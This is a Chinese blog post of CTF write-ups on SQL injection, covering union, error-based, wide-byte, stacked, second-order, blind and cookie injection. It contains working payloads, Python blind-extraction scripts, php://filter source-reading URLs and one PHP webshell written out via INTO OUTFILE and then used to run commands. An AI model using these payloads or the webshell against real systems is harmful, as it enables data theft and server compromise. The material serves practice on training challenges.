安恒培训-SQL注入

7月18日

SQL注入基础

题目链接

http://das.wetolink.com/challenges#12.1%20SQL%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80

考点

没有WAF,常规SQL注入语句应用。

解决方案

查询所有数据库:

id=1 union select 1, group_concat(distinct TABLE_SCHEMA) from information_schema.tables

查询名为test的库:

id=1 union select 1,group_concat(TABLE_NAME) from information_schema.tables where table_schema= 'test'

查询名为test的库中flag表的字段名:

id=1 union select 1,group_concat(COLUMN_NAME) from information_schema.columns where table_schema= ‘test‘ and table_name=‘testtable’

查询名为test的库中flag表的flag字段名中的内容:

id=1 union select 2, group_concat(flag) from test.flag

SQL手工盲注

题目链接

http://das.wetolink.com/challenges#12.3%20SQL%E6%89%8B%E5%B7%A5%E7%9B%B2%E6%B3%A8

考点

手工盲注没有回显,利用延时注入构造exp。

解决方案

import string
import requests
def request(request_id):
    try:
        # 延时注入,超时为真
        requests.get("http://f6996fad-6528-4dc1-80ac-3008608c99c2.das-node.wetolink.com:82?id={}".format(request_id),
                     timeout=5)
    except:
        return True
    return False
# 要执行的语句
# sql = "select database()"
# sql = "select group_concat(distinct TABLE_SCHEMA) from information_schema.tables"
# sql = "select group_concat(distinct TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'test'"
# sql = "select group_concat(distinct COLUMN_NAME) from information_schema.columns where TABLE_SCHEMA = 'test' and TABLE_NAME='flag'"
# sql = "select group_concat(distinct flag) from test.flag"
outer_len_sql = "id=1 and if(length(({}))={},sleep(10),1)"
outer_sql = "id=1 and if(substring(({}),{},1)='{}',sleep(10),1)"
# 获取结果长度
length = 1
while True:
    if request(outer_len_sql.format(sql, length)):
        break
    length += 1
print("长度:{}".format(length))
result = ""
for i in range(1, length + 1):
    # 只测试可见字符
    for j in string.printable:
        if request(outer_sql.format(sql, i, j)):
            result += j
            print("结果:{}".format(result))
            break
print("结果:{}".format(result))

[极客大挑战 2019]EasySQL

题目链接

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]EasySQL

考点

万能钥匙,闭合掉字符串’id’的单引号。

解决方案

admin' or '1' = '1
admin' or 1 = 1 #

7月19日

SQL注入进阶(一)

题目链接

http://das.wetolink.com/challenges#12.4%20SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6(%E4%B8%80)

考点

gbk编码绕过。

解决方案

尝试提交万能钥匙后发现’被绕过,结合代码中的gbk编码集绕过。

/?id=1%df' union select 1,database()%23

请注意,这里的%23直接用#表示将无法显示(我也不知道为什么会出现这样的BUG,可能是bp没有二次转码,反正它是出了)。最后联合查询拿flag。

拿库名:

id=1%df' union select 1,group_concat(distinct TABLE_SCHEMA) from information_schema.tables%23

满足引号被转义情况,且不需要逃出单引号,尝试使用十六进制字符串绕过:

id=1%df%27%20union%20select%201,group_concat(distinct%20TABLE_NAME)%20from%20information_schema.tables%20where%20TABLE_SCHEMA%20=%200x74657374%23

跟之前的题目差不多,直接拿flag。

id=1%df' union select 1,group_concat(flag) from test.flag%23

SQL注入进阶(四)

题目链接

http://das.wetolink.com/challenges#12.7%20SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6(%E5%9B%9B)

考点

这种存在修改语句的SQL注入题,多半是update或者是delete+insert的二次注入,这种可以尝试报错注入或者盲注。

解决方案

源码:

foreach($result as $item) {
        $username = $item['username'];
        $id = $item['id'];
        query("update users set username = '$new_username',history_username='$username' where id='$id';");
    }

存入的时候进行预编译,再次取出更新的时候没有进行预编译,导致了漏洞。

', username=database(); #

单引号闭合前面语句,username赋值为database(),最后再用#注释后面的代码。

返回test库名。

起先尝试语句:

', username=select group_concat(TABLE_NAME) from information_schema.tables where table_schema= 'test';#

发现返回报错,根据报错信息可以得知消息的长度受到了限制。

于是尝试报错注入,这里试用xpath语法报错注入。

'or updatexml(2,concat(0x7e,(database())),0) #

单引号闭合前面的单引号,or语句后面接上updataxml语句,#注释后面语句。

爆表名:

'or updatexml(2,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where table_schema='test')),0) #

爆字段:

'or updatexml(2,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.columns where table_schema='test' and table_name='flag')),0) #

爆字段内容:

'or updatexml(2,concat(0x7e,(select flag from flag)),0) #

爆出来的flag字段名过长,超过updataxml长度限制。

这时候有3种做法:

1.从右边读取字符串(会漏掉一个中括号):

'or updatexml(2,concat(0x7e,(select right(flag, 32) from flag)),0) #

2.或者逆序输出flag:

'or updatexml(2,concat(0x7e,(select reverse(flag) from flag)),0) #

3.使用substr截取一段flag:

'or updatexml(2,concat(0x7e,substr((select group_concat(flag) from flag ),25,50)),0) #

三种方法都可以,感觉第一种比较容易一点,第二种还要写脚本逆序,太麻烦了。

[强网杯 2019]随便注

题目链接

https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8

考点

堆叠注入。

解决方案

万能钥匙返回全部数据证明存在注入点。

尝试联合查询后发现存在WAF:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

查表名:

1';show tables; #

爆 words 列名:

1'; show columns from `words`;#

爆 1919810931114514 列名:

1'; show columns from `1919810931114514` ;#

这两处用了`符号。

显示我们在words表中查找,但是真正的flag在1919810931114514中。

下面拿flag有很多种姿势。

1.官方姿势

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(100);#

整理完这样子的:

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);
#

将words表重命名为words1,1919810931114514重命名为words,把表的flag属性修改为id属性,使得在查找id的时候可以查找到flag,然后就可以访问了。

2.预处理语句绕过关键词过滤

本题可以利用 char() 方法将 ASCII 码转换为 SELECT 字符串,接着利用 concat() 方法进行拼接获得查询的SQL语句,最后执行即可,payload如下:

1';
SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");
PREPARE sqla from @sql;
EXECUTE sqla;
#

或者不用char()方法,直接将字符串相加也可以绕过限制:

-1';
SET @sql = CONCAT('se','lect * from `1919810931114514`;');
PREPARE sqla from @sql;
EXECUTE sqla;
#

3.RCE

报错注入后可以看见用户为root,直接上马拿权限。

先上马:

1';
Set @sql=concat("s","elect '<?php @print_r(`$_GET[oatmeal]`);?>' into outfile '/var/www/html/1",char(46),"php'");
PREPARE sqla from @sql;
EXECUTE sqla;
#

RCE:

/1.php?oatmeal=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"

读flag。

4.handler

handler代替select进行查询。

1'; 
handler `1919810931114514` open as oatmeal; 
handler oatmeal read first; 
handler oatmeal close;#

7月20日

[GXYCTF2019]BabySQli

题目链接

https://buuoj.cn/challenges#[GXYCTF2019]BabySQli

考点

联合查询查询不存在的数据会构造虚拟数据。

解题思路

网页源码可以看到有search.php,访问后提示wrong user,回显一段加密的字符串。base32+base64解密:

select * from user where username = '$name'

变量直接引用提示注入点。

SQLMAP可以看到表结构:

这里有一个知识点:当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。这时候直接在pass框里面输入密码的md5解密结果就可以了。

构造这样的payload:

username栏:admin' and 0 union select '1','admin','e809578d0b633a6db7de68749308f476
password栏:oatmeal

[极客大挑战 2019]HardSQL

题目链接

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]HardSQL

考点

报错注入

空格等号WAF绕过

解题思路

fuzz一下,发现相对之前的EasySQL,多了几个关键字符的过滤,其中还有对于空格字符的过滤,注释语句在WAF中也被过滤了。

尝试报错注入,先写报错语句模板:

sql = "admin%27or(UPDATEXML(1,CONCAT(0x7e,{},0x7e),1))%23".format(p)

对于关键处的过滤,采取两种绕过方式:

  • 对变量的空格使用()替代。
  • 对=处使用like()语句代替。

上SQL注入脚本:

import requests

# p语句为要执行注入的命令
sql = "admin%27or(UPDATEXML(1,concat(0x7e,{},0x7e),1))%23".format(p)
print(sql)


url = "http://640faddd-30eb-4d14-9cc0-4ff5880dbbcd.node3.buuoj.cn/check.php?username={}&password=123123".format(sql)

payload = {}
headers = {}

response = requests.request("GET", url, headers=headers, data=payload)

print(response.text.encode('utf8'))

p语句修改为我们要使用的注入语句,注意不能使用空格。

读数据库:

p = "(SELECT(database()))"

读表:

p = "(SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)LIKE('geek'))"

读字段:

p = "(SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)LIKE('H4rDsq1'))"

读字段内容:

p = "(SELECT(password)FROM(geek.H4rDsq1))"

flag超出字段长度,修改一下重新读取后半段。

p = "(SELECT(right(password,32))FROM(geek.H4rDsq1))"

[SWPU2019]Web1

题目链接

https://buuoj.cn/challenges#[SWPU2019]Web1

考点

爆列名,二次注入,

mysql.innodb_tables_stats

子查询

解题思路

注册、登录、广告页面可能存在SQL注入。在广告页面使用

查看广告详情产生报错,由此推断此为SQL注入点。另外通过报错,可以知道这是MairaDB数据库。

初步判断是二次注入,且注入点在广告名(即ID中)。

尝试万能密码,发现存在waf。

尝试fuzz了一下,但是因为广告发布次数存在上限,所以fuzz效果不佳。

但是大概还是知道or被过滤了,所以order by 语句,information_schema不能使用了。

(还有,感觉BUUCTF的容器用fuzz不太稳定,开一个进程也经常返回404,感觉打比赛就没有这样的风险。)

发现空格被正则,使用/**/绕过,剩下的就比较简单,爆列(22列,就尼玛离谱)其中2、3列回显。

-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆version():

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆库名:

-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

来自官方对mysql.innodb_tables_stats的解释:

https://mariadb.com/kb/en/mysqlinnodb_table_stats/

参考博客:

https://www.v0n.top/2019/11/15/%E5%AF%B9%E4%B8%A4%E9%81%93CTF%E9%A2%98%E7%9B%AE%E7%9A%84%E8%A7%A3%E6%9E%90/

在mysql5.6以上的版本中,会在系统库MYSQL库中存在两张与innodb相关的表innodb_index_stats和innodb_table_stats。 其中innodb_index_stats存储的是innodb引擎的库名,表名及其对应的索引名称,也就是和information_schema.schemata差不多。 innodb_table_stats存储的是innodb引擎的库名和表名,也就是和information_schema.tables差不多。

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

可惜用这种方法只能爆表名,不能爆列。

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

子查询拿flag。

7月21日

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目链接

https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day2%20Web1]Hack%20World

考点

手工有回显盲注

利用回显拼接字符串

解决方案

当id=1和id=2的时候回显不同,利用回显不同求得字符串。

简单的O(n²)的脚本:

import requests

url = 'http://cd60c539-5dc1-493b-b763-998b7e419f8b.node3.buuoj.cn/'
result = ''

for x in range(50):
    for j in range(32, 127):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (x, j)
        data = {
            "id": payload
        }
        response = requests.post(url, data=data)
        if 'Hello, glzjin wants a girlfriend.' in response.text:
            result += chr(int(j))
            print(result)
            break

利用归并法的O(nlogn)脚本(源于网络):

import requests

url = 'http://cd60c539-5dc1-493b-b763-998b7e419f8b.node3.buuoj.cn/'
result = ''


for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id": payload
        }
        response = requests.post(url, data=data)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

题目链接

https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web5]CyberPunk

考点

二次注入

报错注入

利用load_file()读取文件。

解决方案

看到题目就很容易猜应该是二次注入。

在姓名、电话、地址三栏输入三个’,发现在查询、修改、删除订单中都找不到该订单,二次注入石锤。

查看源码发现存在文件包含,把文件包拉下来:

/?file=php://filter/read=convert.base64-encode/resource=index.php
/?file=php://filter/read=convert.base64-encode/resource=search.php
/?file=php://filter/read=convert.base64-encode/resource=change.php
/?file=php://filter/read=convert.base64-encode/resource=delete.php

审计代码,发现在关键查询处的代码,只对用户名和电话号码进行了严格的审计,忽略了对地址的审计。

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

其中的’old_address’=’”.$row[‘address’].”用了一开始的地址,导致恶意拼接。

将一下代码写入地址,爆库名:

1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#

爆表名:

1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#

后面就爆不出了,看了wp,发现只要读取文件就可以了。

最后读文件出了

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

[BSidesCF 2019]Sequel

题目链接

https://buuoj.cn/challenges#[BSidesCF%202019]Sequel

考点

解决方案

尝试万能密码提示只能使用字母或数字。

有一点恶心的地方是注册都没有,只能看着登录框干瞪眼。

后来看了wp,发现是要爆破,是我太菜了,两个框也得爆破。

最后报出来应该是账号密码都为guest。

登录之后显示信息。

发现有三个都是no node for guest,感觉需要提权。

于是检查Cookie,找到了一串奇怪的Cookie:

解码后找到漏洞:

最后发现是Cookie注入,利用盲注Cookie爆破密码。

脚本自己没有写出来(参考链接)。

import requests
import base64
import string
import sys

out = ""
while True:
    for letter in string.printable:
        tmp = out + letter
        payload = r'{{"username":"\" OR EXISTS(SELECT name FROM sqlite_master WHERE name LIKE \"{}\" limit 1) OR \"","password":"guest"}}'.format(
            tmp + '%')
        payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
        r = requests.get('http://9c61f34f-32c8-4eae-a49a-b9fa29a54546.node3.buuoj.cn/sequels',
                         cookies={"1337_AUTH": payload})
        if "Movie" in r.text:
            out = tmp
            sys.stdout.write(letter)
            sys.stdout.flush()
            break
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇